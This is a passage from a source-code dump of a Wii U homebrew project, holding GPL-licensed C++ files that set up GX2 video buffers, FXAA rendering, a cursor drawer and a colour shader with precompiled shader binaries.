to mem2 for depth buffer\n    //! this should be ok for our purpose i guess\n\n    //! Setup TV depth buffer (can be the same for both if rendered one after another)\n    u32 size, align;\n    GX2InitDepthBuffer(&tvDepthBuffer, GX2_SURFACE_DIM_2D, tvColorBuffer.surface.width, tvColorBuffer.surface.height, 1, GX2_SURFACE_FORMAT_TCD_R32_FLOAT, tvAAMode);\n    tvDepthBuffer.surface.image_data = MEM1_alloc(tvDepthBuffer.surface.image_size, tvDepthBuffer.surface.align);\n    GX2Invalidate(GX2_INVALIDATE_CPU, tvDepthBuffer.surface.image_data, tvDepthBuffer.surface.image_size);\n\n    //! Setup TV HiZ buffer\n    GX2CalcDepthBufferHiZInfo(&tvDepthBuffer, &size, &align);\n    tvDepthBuffer.hiZ_data = MEM1_alloc(size, align);\n    GX2Invalidate(GX2_INVALIDATE_CPU, tvDepthBuffer.hiZ_data, size);\n    GX2InitDepthBufferHiZEnable(&tvDepthBuffer, GX2_ENABLE);\n\n    //! Setup color buffer for DRC rendering\n    GX2InitColorBuffer(&drcColorBuffer, GX2_SURFACE_DIM_2D, 854, 480, 1, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, drcAAMode);\n    drcColorBuffer.surface.image_data = MEM1_alloc(drcColorBuffer.surface.image_size, drcColorBuffer.surface.align);\n    GX2Invalidate(GX2_INVALIDATE_CPU, drcColorBuffer.surface.image_data, drcColorBuffer.surface.image_size);\n\n    //! Setup DRC depth buffer (can be the same for both if rendered one after another)\n    GX2InitDepthBuffer(&drcDepthBuffer, GX2_SURFACE_DIM_2D, drcColorBuffer.surface.width, drcColorBuffer.surface.height, 1, GX2_SURFACE_FORMAT_TCD_R32_FLOAT, drcAAMode);\n    drcDepthBuffer.surface.image_data = MEM1_alloc(drcDepthBuffer.surface.image_size, drcDepthBuffer.surface.align);\n    GX2Invalidate(GX2_INVALIDATE_CPU, drcDepthBuffer.surface.image_data, drcDepthBuffer.surface.image_size);\n\n    //! Setup DRC HiZ buffer\n    GX2CalcDepthBufferHiZInfo(&drcDepthBuffer, &size, &align);\n    drcDepthBuffer.hiZ_data = MEM1_alloc(size, align);\n    GX2Invalidate(GX2_INVALIDATE_CPU, drcDepthBuffer.hiZ_data, size);\n    GX2InitDepthBufferHiZEnable(&drcDepthBuffer, GX2_ENABLE);\n\n\n    //! allocate auxilary buffer last as there might not be enough MEM1 left for other stuff after that\n    if (tvColorBuffer.surface.aa)\n    {\n        u32 auxSize, auxAlign;\n        GX2CalcColorBufferAuxInfo(&tvColorBuffer, &auxSize, &auxAlign);\n        tvColorBuffer.aux_data = MEM1_alloc(auxSize, auxAlign);\n        if(!tvColorBuffer.aux_data)\n            tvColorBuffer.aux_data = MEM2_alloc(auxSize, auxAlign);\n\n        tvColorBuffer.aux_size = auxSize;\n        memset(tvColorBuffer.aux_data, GX2_AUX_BUFFER_CLEAR_VALUE, auxSize);\n        GX2Invalidate(GX2_INVALIDATE_CPU, tvColorBuffer.aux_data, auxSize);\n    }\n\n    if (drcColorBuffer.surface.aa)\n    {\n        u32 auxSize, auxAlign;\n        GX2CalcColorBufferAuxInfo(&drcColorBuffer, &auxSize, &auxAlign);\n        drcColorBuffer.aux_data = MEM1_alloc(auxSize, auxAlign);\n        if(!drcColorBuffer.aux_data)\n            drcColorBuffer.aux_data = MEM2_alloc(auxSize, auxAlign);\n        drcColorBuffer.aux_size = auxSize;\n        memset(drcColorBuffer.aux_data, GX2_AUX_BUFFER_CLEAR_VALUE, auxSize);\n        GX2Invalidate(GX2_INVALIDATE_CPU, drcColorBuffer.aux_data, auxSize );\n    }\n\n    //! allocate memory and setup context state TV\n    tvContextState = (GX2ContextState*)MEM2_alloc(sizeof(GX2ContextState), GX2_CONTEXT_STATE_ALIGNMENT);\n    GX2SetupContextStateEx(tvContextState, GX2_TRUE);\n\n    //! allocate memory and setup context state DRC\n    drcContextState = (GX2ContextState*)MEM2_alloc(sizeof(GX2ContextState), GX2_CONTEXT_STATE_ALIGNMENT);\n    GX2SetupContextStateEx(drcContextState, GX2_TRUE);\n\n    //! set initial context state and render buffers\n    GX2SetContextState(tvContextState);\n    GX2SetColorBuffer(&tvColorBuffer, GX2_RENDER_TARGET_0);\n    GX2SetDepthBuffer(&tvDepthBuffer);\n\n    GX2SetContextState(drcContextState);\n    GX2SetColorBuffer(&drcColorBuffer, GX2_RENDER_TARGET_0);\n    GX2SetDepthBuffer(&drcDepthBuffer);\n\n    //! set initial viewport\n    GX2SetViewport(0.0f, 0.0f, tvColorBuffer.surface.width, tvColorBuffer.surface.height, 0.0f, 1.0f);\n    GX2SetScissor(0, 0, tvColorBuffer.surface.width, tvColorBuffer.surface.height);\n\n    //! this is not necessary but can be used for swap counting and vsyncs\n    GX2SetSwapInterval(1);\n\n    //GX2SetTVGamma(0.8f);\n    //GX2SetDRCGamma(0.8f);\n\n    //! initialize perspective matrix\n\tconst float cam_X_rot = 25.0f;\n\n\tprojectionMtx = glm::perspective(45.0f, 1.0f, 0.1f, 100.0f);\n\n\tviewMtx = glm::mat4(1.0f);\n\tviewMtx = glm::translate(viewMtx, glm::vec3(0.0f, 0.0f, -2.5f));\n\tviewMtx = glm::rotate(viewMtx, DegToRad(cam_X_rot), glm::vec3(1.0f, 0.0f, 0.0f));\n\n    GX2InitSampler(&aaSampler, GX2_TEX_CLAMP_CLAMP, GX2_TEX_XY_FILTER_BILINEAR);\n    GX2InitTexture(&tvAaTexture, tvColorBuffer.surface.width, tvColorBuffer.surface.height, 1, 0, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_SURFACE_DIM_2D, GX2_TILE_MODE_DEFAULT);\n    tvAaTexture.surface.image_data = tvColorBuffer.surface.image_data;\n    tvAaTexture.surface.image_size = tvColorBuffer.surface.image_size;\n    tvAaTexture.surface.mip_data = tvColorBuffer.surface.mip_data;\n}\n\nCVideo::~CVideo()\n{\n    //! flush buffers\n    GX2Flush();\n    GX2DrawDone();\n    //! shutdown\n    GX2Shutdown();\n    //! free command buffer memory\n    MEM2_free(gx2CommandBuffer);\n    //! free scan buffers\n    MEMBucket_free(tvScanBuffer);\n    MEMBucket_free(drcScanBuffer);\n    //! free color buffers\n    MEM1_free(tvColorBuffer.surface.image_data);\n    MEM1_free(drcColorBuffer.surface.image_data);\n    //! free depth buffers\n    MEM1_free(tvDepthBuffer.surface.image_data);\n    MEM1_free(tvDepthBuffer.hiZ_data);\n    MEM1_free(drcDepthBuffer.surface.image_data);\n    MEM1_free(drcDepthBuffer.hiZ_data);\n    //! free context buffers\n    MEM2_free(tvContextState);\n    MEM2_free(drcContextState);\n    //! free aux buffer\n    if(tvColorBuffer.aux_data)\n    {\n        if(((u32)tvColorBuffer.aux_data & 0xF0000000) == 0xF0000000)\n            MEM1_free(tvColorBuffer.aux_data);\n        else\n            MEM2_free(tvColorBuffer.aux_data);\n    }\n    if(drcColorBuffer.aux_data)\n    {\n        if(((u32)drcColorBuffer.aux_data & 0xF0000000) == 0xF0000000)\n            MEM1_free(drcColorBuffer.aux_data);\n        else\n            MEM2_free(drcColorBuffer.aux_data);\n    }\n    //! destroy shaders\n    ColorShader::destroyInstance();\n    FXAAShader::destroyInstance();\n    Shader3D::destroyInstance();\n    ShaderFractalColor::destroyInstance();\n    Texture2DShader::destroyInstance();\n}\n\nvoid CVideo::renderFXAA(const GX2Texture * texture, const GX2Sampler *sampler)\n{\n    resolution[0] = texture->surface.width;\n    resolution[1] = texture->surface.height;\n\n    GX2Invalidate(GX2_INVALIDATE_COLOR_BUFFER | GX2_INVALIDATE_TEXTURE, texture->surface.image_data, texture->surface.image_size);\n\n    GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_ALWAYS);\n    FXAAShader::instance()->setShaders();\n    FXAAShader::instance()->setAttributeBuffer();\n    FXAAShader::instance()->setResolution(resolution);\n    FXAAShader::instance()->setTextureAndSampler(texture, sampler);\n    FXAAShader::instance()->draw();\n    GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL);\n}\n\nvoid* CVideo::GX2RAlloc(u32 flags, u32 size, u32 align)\n{\n    //! min. alignment\n    if (align < 4)\n        align = 4;\n\n    if ((flags & 0x2040E) && !(flags & 0x40000))\n        return MEM1_alloc(size, align);\n    else\n        return MEM2_alloc(size, align);\n}\n\nvoid CVideo::GX2RFree(u32 flags, void* p)\n{\n    if ((flags & 0x2040E) && !(flags & 0x40000))\n        MEM1_free(p);\n    else\n        MEM2_free(p);\n}\n"
  },
  {
    "path": "src/video/CVideo.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef __CVIDEO_H_\n#define __CVIDEO_H_\n\n#include \"dynamic_libs/gx2_functions.h\"\n#include \"shaders/Shader.h\"\n\nclass CVideo\n{\npublic:\n    CVideo(s32 forceTvScanMode = -1, s32 forceDrcScanMode = -1);\n    virtual ~CVideo();\n\n    void prepareTvRendering(void) {\n        currContextState = tvContextState;\n        currColorBuffer = &tvColorBuffer;\n        currDepthBuffer = &tvDepthBuffer;\n        prepareRendering();\n    }\n\n    void prepareDrcRendering(void) {\n        currContextState = drcContextState;\n        currColorBuffer = &drcColorBuffer;\n        currDepthBuffer = &drcDepthBuffer;\n        prepareRendering();\n    }\n\n    void prepareRendering(void) {\n        GX2ClearColor(currColorBuffer, 0.0f, 0.0f, 0.0f, 1.0f);\n        GX2ClearDepthStencilEx(currDepthBuffer, currDepthBuffer->clear_depth, currDepthBuffer->clear_stencil, GX2_CLEAR_BOTH);\n\n        GX2SetContextState(currContextState);\n        GX2SetViewport(0.0f, 0.0f, currColorBuffer->surface.width, currColorBuffer->surface.height, 0.0f, 1.0f);\n        GX2SetScissor(0, 0, currColorBuffer->surface.width, currColorBuffer->surface.height);\n\n        GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL);\n        GX2SetColorControl(GX2_LOGIC_OP_COPY, 1, GX2_DISABLE, GX2_ENABLE);\n        GX2SetBlendControl(GX2_RENDER_TARGET_0, GX2_BLEND_SRC_ALPHA, GX2_BLEND_ONE_MINUS_SRC_ALPHA, GX2_BLEND_COMBINE_ADD, GX2_ENABLE, GX2_BLEND_SRC_ALPHA, GX2_BLEND_ONE_MINUS_SRC_ALPHA, GX2_BLEND_COMBINE_ADD);\n        GX2SetCullOnlyControl(GX2_FRONT_FACE_CCW, GX2_DISABLE, GX2_ENABLE);\n    }\n\n    void setStencilRender(bool bEnable)\n    {\n        if(bEnable)\n        {\n            GX2SetStencilMask(0xff, 0xff, 0x01, 0xff, 0xff, 0x01);\n            GX2SetDepthStencilControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_LEQUAL, GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_ALWAYS, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_STENCIL_REPLACE,\n                                      GX2_COMPARE_ALWAYS, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_STENCIL_REPLACE);\n        }\n        else\n        {\n            GX2SetStencilMask(0xff, 0xff, 0xff, 0xff, 0xff, 0xff);\n            GX2SetDepthStencilControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL, GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_NEVER, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP,\n                                      GX2_COMPARE_NEVER, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP);\n        }\n    }\n\n    void drcDrawDone(void) {\n        //! on DRC we do a hardware AA because FXAA does not look good\n        //renderFXAA(&drcAaTexture, &aaSampler);\n        GX2CopyColorBufferToScanBuffer(&drcColorBuffer, GX2_SCAN_TARGET_DRC_FIRST);\n    }\n\n    void tvDrawDone(void) {\n        renderFXAA(&tvAaTexture, &aaSampler);\n        GX2CopyColorBufferToScanBuffer(&tvColorBuffer, GX2_SCAN_TARGET_TV);\n        GX2SwapScanBuffers();\n        GX2Flush();\n    }\n\n    void waitForVSync(void) {\n        GX2WaitForVsync();\n        frameCount++;\n    }\n\n    void tvEnable(bool bEnable) {\n        if(tvEnabled != bEnable)\n        {\n            GX2SetTVEnable(bEnable ? GX2_ENABLE : GX2_DISABLE);\n            tvEnabled = bEnable;\n        }\n    }\n    void drcEnable(bool bEnable) {\n        if(drcEnabled != bEnable)\n        {\n            GX2SetDRCEnable(bEnable ? GX2_ENABLE : GX2_DISABLE);\n            drcEnabled = bEnable;\n        }\n    }\n\n    u32 getFrameCount(void) const {\n        return frameCount;\n    }\n\n    u32 getTvWidth(void) const {\n        return tvColorBuffer.surface.width;\n    }\n    u32 getTvHeight(void) const {\n        return tvColorBuffer.surface.height;\n    }\n\n    u32 getDrcWidth(void) const {\n        return drcColorBuffer.surface.width;\n    }\n    u32 getDrcHeight(void) const {\n        return drcColorBuffer.surface.height;\n    }\n\n    const glm::mat4 & getProjectionMtx(void) const {\n        return projectionMtx;\n    }\n    const glm::mat4 & getViewMtx(void) const {\n        return viewMtx;\n    }\n\n    f32 getWidthScaleFactor(void) const {\n        return widthScaleFactor;\n    }\n    f32 getHeightScaleFactor(void) const {\n        return heightScaleFactor;\n    }\n    f32 getDepthScaleFactor(void) const {\n        return depthScaleFactor;\n    }\n\n    void screenPosToWorldRay(f32 posX, f32 posY, glm::vec3 & rayOrigin, glm::vec3 & rayDirection)\n    {\n        //! normalize positions\n        posX = 2.0f * posX * getWidthScaleFactor();\n        posY = 2.0f * posY * getHeightScaleFactor();\n\n        glm::vec4 rayStart(posX, posY, 0.0f, 1.0f);\n        glm::vec4 rayEnd(posX, posY, 1.0f, 1.0f);\n\n        glm::mat4 IMV = glm::inverse(projectionMtx * viewMtx);\n        glm::vec4 rayStartWorld = IMV * rayStart;\n        rayStartWorld /= rayStartWorld.w;\n\n        glm::vec4 rayEndWorld = IMV * rayEnd;\n        rayEndWorld /= rayEndWorld.w;\n\n        glm::vec3 rayDirectionWorld(rayEndWorld - rayStartWorld);\n        rayDirectionWorld = glm::normalize(rayDirectionWorld);\n\n        rayOrigin = glm::vec3(rayStartWorld);\n        rayDirection = glm::normalize(rayDirectionWorld);\n    }\nprivate:\n    static void *GX2RAlloc(u32 flags, u32 size, u32 align);\n    static void GX2RFree(u32 flags, void* p);\n\n    void renderFXAA(const GX2Texture * texture, const GX2Sampler *sampler);\n\n    void *gx2CommandBuffer;\n\n    void *tvScanBuffer;\n    void *drcScanBuffer;\n\n    u32 frameCount;\n    f32 widthScaleFactor;\n    f32 heightScaleFactor;\n    f32 depthScaleFactor;\n\n    bool tvEnabled;\n    bool drcEnabled;\n\n    GX2ColorBuffer tvColorBuffer;\n    GX2DepthBuffer tvDepthBuffer;\n    GX2ColorBuffer drcColorBuffer;\n    GX2DepthBuffer drcDepthBuffer;\n\n    GX2ContextState *tvContextState;\n    GX2ContextState *drcContextState;\n\n    GX2ContextState *currContextState;\n    GX2ColorBuffer *currColorBuffer;\n    GX2DepthBuffer *currDepthBuffer;\n\n    GX2Texture tvAaTexture;\n    GX2Sampler aaSampler;\n\n    glm::mat4 projectionMtx;\n    glm::mat4 viewMtx;\n    glm::vec2 resolution;\n};\n\n#endif // __GX2_VIDEO_H_\n"
  },
  {
    "path": "src/video/CursorDrawer.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"dynamic_libs/gx2_functions.h\"\n#include \"video/shaders/ColorShader.h\"\n#include \"CursorDrawer.h\"\n\nCursorDrawer *CursorDrawer::instance = NULL;\n\nCursorDrawer::CursorDrawer()\n{\n    init_colorVtxs();\n}\n\nCursorDrawer::~CursorDrawer()\n{\n    //! destroy shaders\n    ColorShader::destroyInstance();\n    if(this->colorVtxs){\n        free(this->colorVtxs);\n        this->colorVtxs = NULL;\n    }\n}\n\nvoid CursorDrawer::init_colorVtxs(){\n    if(!this->colorVtxs){\n        this->colorVtxs = (u8*)memalign(0x40, sizeof(u8) * 16);\n        if(this->colorVtxs == NULL) return;\n\n    }\n    memset(this->colorVtxs,0xFF,16*sizeof(u8));\n\n    GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, this->colorVtxs, 16 * sizeof(u8));\n}\n\n// Could be improved. It be more generic.\nvoid CursorDrawer::draw_Cursor(f32 x,f32 y)\n{\n    if(this->colorVtxs == NULL){\n        init_colorVtxs();\n        return;\n    }\n\n    f32 widthScaleFactor = 1.0f / (f32)1280;\n    f32 heightScaleFactor = 1.0f / (f32)720;\n\n    int width = 20;\n\n    glm::vec3 positionOffsets = glm::vec3(0.0f);\n\n    positionOffsets[0] = (x-((1280)/2)+(width/2)) * widthScaleFactor * 2.0f;\n    positionOffsets[1] = -(y-((720)/2)+(width/2)) * heightScaleFactor * 2.0f;\n\n    glm::vec3 scale(width*widthScaleFactor,width*heightScaleFactor,1.0f);\n\n    ColorShader::instance()->setShaders();\n    ColorShader::instance()->setAttributeBuffer(this->colorVtxs, NULL, 4);\n    ColorShader::instance()->setAngle(0);\n    ColorShader::instance()->setOffset(positionOffsets);\n    ColorShader::instance()->setScale(scale);\n    ColorShader::instance()->setColorIntensity(glm::vec4(1.0f));\n    ColorShader::instance()->draw(GX2_PRIMITIVE_QUADS, 4);\n}\n"
  },
  {
    "path": "src/video/CursorDrawer.h",
    "content": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _CursorDrawer_H_\n#define _CursorDrawer_H_\n\n#include <string>\n\n#include <stdio.h>\n#include <gctypes.h>\n#include <gctypes.h>\n\n#include \"dynamic_libs/gx2_types.h\"\n\nclass CursorDrawer\n{\n\npublic:\n    static CursorDrawer *getInstance() {\n        if(!instance)\n            instance = new CursorDrawer();\n        return instance;\n    }\n\n    static void destroyInstance() {\n        if(instance){\n            delete instance;\n            instance = NULL;\n        }\n    }\n\n    static void draw(f32 x, f32 y)\n    {\n        CursorDrawer * cur_instance = getInstance();\n        if(cur_instance ==  NULL) return;\n        cur_instance->draw_Cursor(x,y);\n    }\n\nprivate:\n    //!Constructor\n    CursorDrawer();\n    //!Destructor\n    ~CursorDrawer();\n    static CursorDrawer *instance;\n    void draw_Cursor(f32 x, f32 y);\n    void init_colorVtxs();\n\n    u8 * colorVtxs = NULL;\n};\n\n#endif\n"
  },
  {
    "path": "src/video/shaders/ColorShader.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include <malloc.h>\n#include <string.h>\n#include \"ColorShader.h\"\n\nstatic const u32 cpVertexShaderProgram[] =\n{\n    0x00000000,0x00008009,0x20000000,0x000078a0,\n    0x3c200000,0x88060094,0x00c00000,0x88062014,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00a11f00,0xfc00620f,0x02490001,0x80000040,\n    0xfd041f80,0x900c0060,0x83f9223e,0x0000803f,\n    0xfe282001,0x10000040,0xfe001f80,0x00080060,\n    0xfeac9f80,0xfd00624f,0xdb0f49c0,0xdb0fc940,\n    0xfea81f80,0x9000e02f,0x83f9223e,0x00000000,\n    0xfe041f80,0x00370000,0xffa01f00,0x80000000,\n    0xff101f00,0x800c0020,0x7f041f80,0x80370000,\n    0x0000103f,0x00000000,0x02c51f00,0x80000000,\n    0xfea41f00,0x80000020,0xffa09f00,0x80000040,\n    0xff001f80,0x800c0060,0x398ee33f,0x0000103f,\n    0x02c41f00,0x9000e00f,0x02c59f01,0x80000020,\n    0xfea81f00,0x80000040,0x02c19f80,0x9000e06f,\n    0x398ee33f,0x00000000,0x02c11f01,0x80000000,\n    0x02c49f80,0x80000060,0x02e08f01,0xfe0c620f,\n    0x02c01f80,0x7f00622f,0xfe242000,0x10000000,\n    0xfe20a080,0x10000020,0xf2178647,0x49c0e9fb,\n    0xfbbdb2ab,0x768ac733\n};\n\nstatic const u32 cpVertexShaderRegs[] = {\n    0x00000103,0x00000000,0x00000000,0x00000001,\n    0xffffff00,0xffffffff,0xffffffff,0xffffffff,\n    0xffffffff,0xffffffff,0xffffffff,0xffffffff,\n    0xffffffff,0xffffffff,0x00000000,0xfffffffc,\n    0x00000002,0x00000001,0x00000000,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x00000000,0x0000000e,0x00000010\n};\n\nstatic const u32 cpPixelShaderProgram[] =\n{\n    0x20000000,0x00000ca0,0x00000000,0x88062094,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00002000,0x90000000,0x0004a000,0x90000020,\n    0x00082001,0x90000040,0x000ca081,0x90000060,\n    0xbb7dd898,0x9746c59c,0xc69b00e7,0x03c36218\n};\nstatic const u32 cpPixelShaderRegs[] = {\n    0x00000001,0x00000002,0x14000001,0x00000000,\n    0x00000001,0x00000100,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x0000000f,0x00000001,0x00000010,\n    0x00000000\n};\n\nColorShader * ColorShader::shaderInstance = NULL;\n\nColorShader::ColorShader()\n    : vertexShader(cuAttributeCount)\n{\n    //! create pixel shader\n    pixelShader.setProgram(cpPixelShaderProgram, sizeof(cpPixelShaderProgram), cpPixelShaderRegs, sizeof(cpPixelShaderRegs));\n\n    colorIntensityLocation = 0;\n    pixelShader.addUniformVar((GX2UniformVar){ \"unf_color_intensity\", GX2_VAR_TYPE_VEC4, 1, colorIntensityLocation, 0xffffffff });\n\n    //! create vertex shader\n    vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs));\n\n    angleLocation = 0;\n    offsetLocation = 4;\n    scaleLocation = 8;\n    vertexShader.addUniformVar((GX2UniformVar){ \"unf_angle\", GX2_VAR_TYPE_FLOAT, 1, angleLocation, 0xffffffff });\n    vertexShader.addUniformVar((GX2UniformVar){ \"unf_offset\", GX2_VAR_TYPE_VEC3, 1, offsetLocation, 0xffffffff });\n    vertexShader.addUniformVar((GX2UniformVar){ \"unf_scale\", GX2_VAR_TYPE_VEC3, 1, scaleLocation, 0xffffffff });\n\n    colorLocation = 1;\n    positionLocation = 0;\n    vertexShader.addAttribVar((GX2AttribVar){ \"attr_color\", GX2_VAR_TYPE_VEC4, 0, colorLocation });\n    vertexShader.addAttribVar((GX2AttribVar){ \"attr_position\", GX2_VAR_TYPE_VEC3, 0, positionLocation });\n\n    //! setup attribute streams\n    GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT);\n    GX2InitAttribStream(vertexShader.getAttributeBuffer(1), colorLocation, 1, 0, GX2_ATTRIB_FORMAT_8_8_8_8_UNORM);\n\n    //! create fetch shader\n    fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount());\n\n    //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000\n    positionVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, cuPositionVtxsSize);\n    if(positionVtxs)\n    {\n        //! position vertex structure\n        int i = 0;\n        positionVtxs[i++] = -1.0f; positionVtxs[i++] = -1.0f; positionVtxs[i++] = 0.0f;\n        positionVtxs[i++] =  1.0f; positionVtxs[i++] = -1.0f; positionVtxs[i++] = 0.0f;\n        positionVtxs[i++] =  1.0f; positionVtxs[i++] =  1.0f; positionVtxs[i++] = 0.0f;\n        positionVtxs[i++] = -1.0f; positionVtxs[i++] =  1.0f; positionVtxs[i++] = 0.0f;\n        GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, positionVtxs, cuPositionVtxsSize);\n    }\n}\n\nColorShader::~ColorShader()\n{\n    if(positionVtxs)\n    {\n        free(positionVtxs);\n        positionVtxs = NULL;\n    }\n\n    delete fetchShader;\n    fetchShader = NULL;\n}\n"
  },
  {
    "path": "src/video/shaders/ColorShader.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef __COLOR_SHADER_H_\n#define __COLOR_SHADER_H_\n\n#include \"VertexShader.h\"\n#include \"PixelShader.h\"\n#include \"FetchShader.h\"\n\nclass ColorShader : public Shader\n{\nprivate:\n    ColorShader();\n    virtual ~ColorShader();\n\n    static const u32 cuAttributeCount = 2;\n    static const u32 cuPositionVtxsSize = 4 * cuVertexAttrSize;\n\n    static ColorShader *shaderInstance;\n\n    FetchShader *fetchShader;\n    VertexShader vertexShader;\n    PixelShader pixelShader;\n\n    f32 *positionVtxs;\n\n    u32 angleLocation;\n    u32 offsetLocation;\n    u32 scaleLocation;\n    u32 colorLocation;\n    u32 colorIntensityLocation;\n    u32 positionLocation;\npublic:\n    static const u32 cuColorVtxsSize = 4 * cuColorAttrSize;\n\n    static ColorShader *instance() {\n        if(!shaderInstance) {\n            shaderInstance = new ColorShader();\n        }\n        return shaderInstance;\n    }\n    static void destroyInstance() {\n        if(shaderInstance) {\n            delete shaderInstance;\n            shaderInstance = NULL;\n        }\n    }\n\n    void setShaders(void) const\n    {\n        fetchShader->setShader();\n        vertexShader.setShader();\n        pixelShader.setShader();\n    }\n\n    void 